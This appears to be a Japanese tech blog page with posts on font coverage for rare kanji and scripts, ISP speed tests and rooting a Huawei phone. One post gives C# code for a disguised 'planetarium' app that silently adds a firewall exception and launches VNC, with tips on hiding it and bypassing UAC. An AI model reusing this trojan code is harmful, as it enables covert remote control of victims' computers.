寒い朝

コンピュータ系のことを書きます

全漢字をカバーできるフリーフォントを探す

全言語をカバーできるフリーフォントを探すの続き。別に見れなくて困っているわけじゃないけど、カバー率がどんなだか気になったので調べた。

候補

IPAフォント独立行政法人 情報処理推進機構

  • 6.0MB(IPAPゴシック)

言わずと知れた定番日本語フリーフォント。定番すぎて空気のような存在。Ubuntuに搭載されているTakaoフォントもIPAフォントベース。

IPAexフォント(独立行政法人 情報処理推進機構

  • 5.8MB(IPAexゴシック)

日本語を固定幅、英語を可変幅にしたIPAフォント。搭載している文字は同じだと思っていたが…。

IPAmj明朝フォント(独立行政法人 情報処理推進機構

  • 44.0MB

細かい字形が違う字を搭載しているIPAフォント。地名や人名を専門的に扱う用途向けのフォントなので最強かと思われたが…。

M+ FONTS(M+ FONTS PROJECT)

  • 3.1MB(Migu 1P Regular)

こちらも定番の日本語フリーフォントIPAフォントよりもきれいなデザイン。収録文字数はIPAフォントより少ないが…。

※今回はIPAフォントとM+ FONTSの合成フォントのMiguフォントを使った。

Droid Sans Fallback(Google

  • 5.2MB(Droid Sans Fallback Full)

前回から続けて登場。Androidに搭載されているフォント。携帯端末で使うように設計されており、中国語フォントと韓国語フォントも搭載しているのに容量が小さい。日本語は中華フォントになるが今回は見なかったことにする。

Noto Sans CJK JP(Google

  • 18MB(NotoSansCJK-Regular)

前回から続けて登場。これと、Source Han Sans・源ノ角ゴシック(どちらもAdobe)は共同開発。

調査方法

対象文字

Wikipedia:表示できない文字の代替画像一覧 - Wikipedia変体仮名 - Wikipediaなどからコンピュータでの表示が難しそうな文字を選んだ。対象文字は次の通り。

  • 人名
    • 草彅 高髙 崎﨑
  • 中華フォントサンプル
    • 直花
  • 漢字
    • 塚𡋽𥝱䯂龘䨺䳇䨻㐧𩵋𠔻𠵇𠯮
  • 変体仮名
    • ゟ𛀁𛀀

また、Unicodeの異字体セレクタ(後述)を使用する文字を選んだ。対象文字は次の通り。

  • 葛芦餅邉

本来ならJIS規格やUnicodeのバージョンごとに文字を選ぶべきだった。

文字の出力方法

難しい文字はPython Pillowを用いて各フォントで対象文字を出力した。異字体セレクタPython Pillowでは使用できなかったので、HTMLに出力しFirefoxで表示した。

異字体セレクタ

ほぼ同じ漢字だけど微妙に違う字を選択するためのUnicodeの符号(0xE0100・0xE0101など)。使い方は元の文字の後に特殊な文字を続けて入力する。異字体セレクタAdobe-Japan1とHanyo-Denshiの2種類があり、互換性はない。Adobe-Japan1の方がよく使われている感じで、Wikipedia:表示できない文字の代替画像一覧 - WikipediaでもAdobe-Japan1のコードしかない。Hanyo-Denshiの方が異字体の種類が多い。

  • 葛飾区の葛
    • 0x845B
  • 葛城市の葛
    • Adobe-Japan1 … 0x845B, 0xE0100
    • Hanyo-Denshi … 0x845B, 0xE0102

」と「」のようなよくある違いは、そもそも別々の文字コードが割り当てられているので異字体セレクタは必要ない。

参考:IVD/IVSとは - IPA

結果

難しい漢字

f:id:microwaver17:20160305192403p:plain

難しい人名は全部のフォントで表示できた。これくらい表示できれば日常では困らないだろう。やはりというか、表示できる文字数はIPAmj明朝が一番多い。しかし、Noto Sans CJK JPにしか表示できない文字も1つあった。そしてM+ FONTSはなぜか変体仮名に強かった。Droid Sans Fallbackは中華フォントに目をつぶれば健闘している。IPAフォントIPAexフォントは話にならない。

異体字

f:id:microwaver17:20160305192347p:plain

よーく見ないと違いがわからない。IPAmj明朝Hanyo-DensiIPAexフォント・Noto Sans CJK JPAdobe-Japan1しか対応していない。ほかのフォントは異体字に未対応。

結論

おすすめ

IPAmj明朝 + Noto Sans CJK JP + M+ FONTS

最も多くの字を表示できる

Noto Sans CJK JP

1つのフォントで多くの漢字が表示でき、異体字もOK。デザインもいい。

用途によってはおすすめ

IPAmj明朝

どうしてもきめ細かく異体字を区別したい。

Droid Sans Fallback

省容量かつ多くの漢字を1つのフォントで。実際のパッケージにはDroid Sans Japaneseも入っているので、中華フォントにはならないと思う。

まとめ

IPAはさすがの貫禄。そしてWindowsは最初から全部見れる。Microsoftには勝てねぇ。

付録:渡辺の辺のバリエーション一覧

続きを読む

全言語をカバーできるフリーフォントを探す

別に見れなくて困っているわけじゃないけど、Wikipediaの他言語版のリンクが豆腐*1だらけなのはスッキリしない。

候補

以下のファイルサイズはArch Linuxでインストールしたときのもの。

Droid (Google)
  • 15.31MiB
  • CJKあり

Androidに搭載されているフォント。携帯端末で使うように設計されておりCJK (Chinese, Japanese, Korean) フォント搭載なのに容量が小さい。Androidが中華フォントになるのはほとんどこいつ (Droid Sans Fallback)のせい。

Noto (Google)
  • 13.72MiB
  • CJKなし

Googleが世界から表示できない文字を無くすために作っている。"No More Tofu" の略。CJKはない。

Noto Sans CJK (Google)
  • 120.17MiB
  • CJKフォント

NotoにCJKフォントを追加する。これと、Source Han Sans・源ノ角ゴシック (どちらもAdobe)は共同開発。品質はいいがサイズがでかい。

GNU FreeFont (GNU)
  • 10.30MiB
  • CJKなし

フリーソフトウェアの総本山GNUが作っているフォント。King Of フリー。CJKはない。

調査方法

言語の一覧は各言語版Wikipediaの一覧を利用した。

Arch Linuxのインストール直後から、次のフォントを追加した状態をデフォルトとする。

そこから候補のフォントを1つインストールして、表示されるようになった言語を記録する。

結果

  • どのフォントでも見れなかったもの
    • 彝語・ブギス語
    • ꆇꉙ / ᨅᨔ ᨕᨘᨁᨗ
  • DroidはCJK以外ショボかった。
  • NotoでCJK・彝語・ブギス語以外で見れなかったもの
    • ゴート語・古代協会スラヴ語・チェロキー語
    • 𐌲𐌿𐍄𐌹𐍃𐌺 / словѣньскъ (ⰔⰎⰑⰂⰡⰐⰠⰔⰍⰟ) / ᏣᎳᎩ
  • GNU FreeFontでCJK・彝語・ブギス語以外で見れなかったもの
  • CJKはDroidNoto Sans CJKのどちらかが必要

詳細な結果はこちらに用意しました。よろしければご覧ください。

結論

「3つ選ぶ」の2つの中からどっちかを選ぶのがベストでしょう。

3つ選ぶ

Droid + Noto + GNU FreeFont
  • 彝語・ブギス語以外見れる
    • できるだけ使う容量を少なくしたい人
Noto Sans CJK + Noto + GNU FreeFont
  • 彝語・ブギス語以外見れる
    • ついでに高品質な日本語フォントがほしい人

2つ選ぶ

Droid + GNU FreeFont
Droid + Noto
  • ゴート語・古代協会スラヴ語・チェロキー語・彝語・ブギス語以外見れる
Noto + GNU FreeFont
  • 彝語・ブギス語・CJK以外見れる
    • ぶっちゃけ中国語と韓国語はいらないという人

1つ選ぶ

Droid
  • やっぱり中国語と韓国語は必要だという人
GNU FreeFont
Noto
  • インド人(ry

まとめ

Google強し。そしてWindowsは最初から全部見れる。Microsoftには勝てねぇ。

次回、全漢字をカバーできるフリーフォントを探す。乞うご期待。

付録:調査言語一覧

*1:表示できない文字が「□」で表示される

続きを読む

遠隔操作ウイルスを作る

盛大に名前負けしそうなタイトルをつけてしまったが、要は知らないうちにVNCサーバーを起動させるプログラム。

実験のために作ったものなので、絶対に悪用しないでください。まあ、今回は同僚にイタズラする程度しかできませんが。

f:id:microwaver17:20151005005952p:plain

被攻撃者にプラネタリウムアプリと思わせて起動させる。UACへの対処はしていないので、適当にOKを押してもらえることを願う。言語はC#、対応OSはXP以降、.NET Framework 4 Client Profileが必要。

Windows ファイアーウォールの例外にVNCを追加する

Windows ファイアーウォールはコマンドラインから設定可能。次のコマンドで、指定したプログラムが例外に追加される。

netsh firewall add allowedprogram program=<プログラムの場所> name=<適当な名前> mode=ENABLE

実際のプログラム例。

// ----- Add Firewall -----
Process process1 = new Process();
process1.StartInfo.FileName = "netsh";
process1.StartInfo.Arguments = "firewall add allowedprogram program=\"" + vncPath + "\" name=\"UltraVNC\" mode=ENABLE";
process1.StartInfo.Verb = "RunAs";  //管理者権限で実行
process1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process1.Start();
process1.WaitForExit();
process1.Close();

実行時にUACが表示される。いかに適当にOKを押してはいけないかが分かる。

f:id:microwaver17:20151005012129p:plain

これだけだと、ローカルのネットワークからしかVNCでアクセスできない。外部からアクセスするにはUPnPなどでポートを開けるようにすれば良いと思う。

VNCの実行

ただ起動するだけ。ちなみにUltra VNCを使った。

// ----- Execute VNC ----- 
Process process2 = new Process();
process2.StartInfo.FileName = vncPath;
process2.Start();
process2.Close();

Ultra VNCを使うとタスクバーにアイコンが表示されてしまう。できればライブラリを使ってVNCを自分で実装したほうがいい。

もっとウイルスらしくするには

  • VNCのアイコンを出さない

上にも書いたが、ウイルスにVNCを機能として組み込むべき。そもそもVNCだと攻撃者がPCを操作していることがバレバレ。

  • 自分を隠すようにする

  • UACを出さない

何らかの脆弱性を利用しなければならないが、Windows XPならサポートが終わっているし楽なのではないか。CVE-2014-6332が使えればリンクを踏んだだけで実行させられそうだ。

  • 多機能にする

一世を風靡したiesys.exeはいろいろと便利な機能が付いているようだ。

iesys.exeの詳細が語られる。 - maachangの日記

Softbank光がOCNよりも遅い

地域や時期で速度が変わるので、あくまでも神奈川県の自宅で現在での話です。Softbankショップのねーちゃんが「OCNより早くなると思いますよ〜」と言っていたので、それは嘘ということになりました。光回線はベストエフォートだし事前にあまり調べないで契約したので、こちらに非がないわけではないが、ちょっとどうなのよ。

スピードテスト結果

2015年10月3日に http://www.speedtest.net/ で測定した。今はまだOCNの解約をしていないので、SoftbankとOCNのどちらにも接続できる。モデムの設定からOCNとSoftbankの切り替えを行ってそれぞれ測定したので、測定機器とローカルの通信経路は同一。

夜11時頃

OCN

f:id:microwaver17:20151003231506p:plain

左下に「Open Computer Network」とあるが、これはOCNを略さずに言ったもののようだ。ここではメチャメチャ早かったが、接続先を変えてるうちに20Mbpsくらいの結果に当たったこともあった。ちなみに200Mbps契約。

Softbank

f:id:microwaver17:20151003231512p:plain

左下に「Softbank BB Corp」とある。遅い。接続先を変えてるうちに20Mbpsくらいの結果に当たったこともあった。ちなみに1000Mbps契約。

夜12時頃

OCN

f:id:microwaver17:20151004001441p:plain

接続先を変えてもだいたいこのくらいの速度だった。

Softbank

f:id:microwaver17:20151004001456p:plain

12時ごろになると空いてきたようだ。接続先を変えてもだいたいこのくらいかちょっと遅い速度だった。

まとめ

完璧な対照実験にはどうしてもできないが、数字上ではSoftbankのほうが遅い結果だった。体感でも、1週間くらい使ってみてSoftbankのほうが遅かったり不安定だと思います。

Softbankを擁護すると、

Softbankは最近になって「光回線スマホのセットで安くなる」という宣伝を盛んに行った結果、短い期間に利用者数が急増。それによりSoftbankがさばかなければならないデータ量が急激に増え、そのための設備の増強が追いついていないのだろう。このようなことは格安SIMでも起こっているらしい。

OCNは加入者数がNo.1だそうだが、その人数の割に合う設備を持っているから速度が維持されているのだろう。Softbankにも加入者数に見合った設備強化をしてほしいものだが、それはいつなのだろうか?そもそもする気はあるのだろうか?増強はよ

Huawei G620S を買った & Root取った

CaravanYU楽天店でSIMフリースマートホンのHuawei(ファーウェイ) G620Sが14,019円で売っていて、安い!と思って買いました。今は元の値段になってしまったようです。

http://prtimes.jp/i/2531/54/resize/d2531-54-452004-0.jpg

日本市場向けSIMロックフリースマートフォン 『Ascend G620S』を12月中旬より発売 ミドルレンジのモデルを拡充|華為技術日本株式会社のプレスリリースより

画像がないと寂しいので載せときました。詳細なレビューやらは他所を当たってもらいたいと思いますが、自分の感想としては、「安い!デカイ!ちゃんと動く!」ですかね。ところで自分はHuaweiをフアウェイ、フアウェイと言っていたのですが、みなさんはどう読んでいるでしょうか。

さてこのG620Sですが、メモリが8GBしかなく(安いからしょうがない)、デフォルトの空き容量になると4Gもないくらいになります。なのでプリインストールのアプリなどを消すためにRoot化してみようと思います。(最終的に消せませんでした)

注意:以下の方法は一歩間違えればスマホを壊す可能性があります。もしあなたが実際にやる場合は自己責任で行ってください。またAndroidのカスタマイズ経験がないとわからないような書き方をしているので、何をしてるかわからない場合はやらないでください。

まず、fastbootとadbが使えるようにしておく。

ブートローダーのアンロックコードの入手

http://forum.xda-developers.com/showpost.php?p=61019456&postcount=2, http://forum.xda-developers.com/showpost.php?p=60959497&postcount=10の抄訳。リンクはこれらのページから探してください。(よく見ると文中の型番に"G620S-L01"とありましたが、自分の持ってる箱には"G620S-L02"と書いてありました。結果的にはうまく行きましたが。)

  • 方法1

    1. Huawei Product ID Generatorをダウンロード
    2. これを実行する。そしてあなたのスマホのIMEIを入力し、デバイスは"Huawei Y300C"を選び、IDを生成する。
    3. Huaweiの中国サイトへ行き、そこで"Huawei Y300C"を選び、あなたのスマホのIMEIとシリアルナンバー、2.で生成したIDを入力する。

    ※もしできない場合は選ぶデバイスを"Huawei Y300C"から変える必要がある。

  • 方法2

    • Huaweiにメールを送る。

方法2は、やってないので以下は方法1での話です。

3.のサイトに行き「同意します」的な画面を進むとログイン画面なります。そうです、会員登録が必要なのです。中国語はあんまりにもあれなので右上のところからEnglishに変更し頑張って会員登録します。

3.のサイトは現在は2.のIDがいらないようで(英語版サイトではなぜか必要)Huawei Product ID Generatorは不要でした。怪しげなソフトなので使わないに越したことはない。サイトにいろいろ打ってボタンを押すとブートローダーのアンロックコードが表示される。

ブートローダーのアンロック

参照: http://emui.huawei.com/en/plugin.php?id=unlock&mod=step

※アンロック後に端末がフォーマットされるので注意。

G620S本体をボリューム下を押しながら電源を入れfastbootモードにする。そこで

# fastboot oem unlock <アンロックコード>

ブートローダがアンロックされ、フォーマットが始まる

Root化

自分の場合、Root化は

一時的にTWRPリカバリを実行する -> suバイナリを書き込む

の手順で行いました。一時的にカスタムリカバリを実行するのは、オリジナルのを潰すとアップデートがうまく行かなくなると思うので。

まず、suバイナリのzipをhttp://forum.xda-developers.com/showthread.php?t=2177206から入手する。このsuperuser.zipを内部ストレージに入れておく。(はじめはSuperSUを入れてみたが、特権昇格のプロンプトが何故か表示されないのでCrockworkModのSuperuserにした。たぶん問題ないはず。)

次に、リカバリイメージをhttp://forum.xda-developers.com/android/development/twrp-t3120744から入手する。端末をfastbootモードにして、

# fastboot boot openrecovery-twrp-2.8.6.0.img

でリカバリを実行。(ここでfastboot flash recoveryとするとリカバリが書き込まれますが、むやみにやらないほうがいいんじゃないかな?)

リカバリが実行できたら先ほどのsuperuser.zipを書き込む。その前に全体のバックアップをしておいたほうがいいかも。

再起動すれば、無事Root化完成。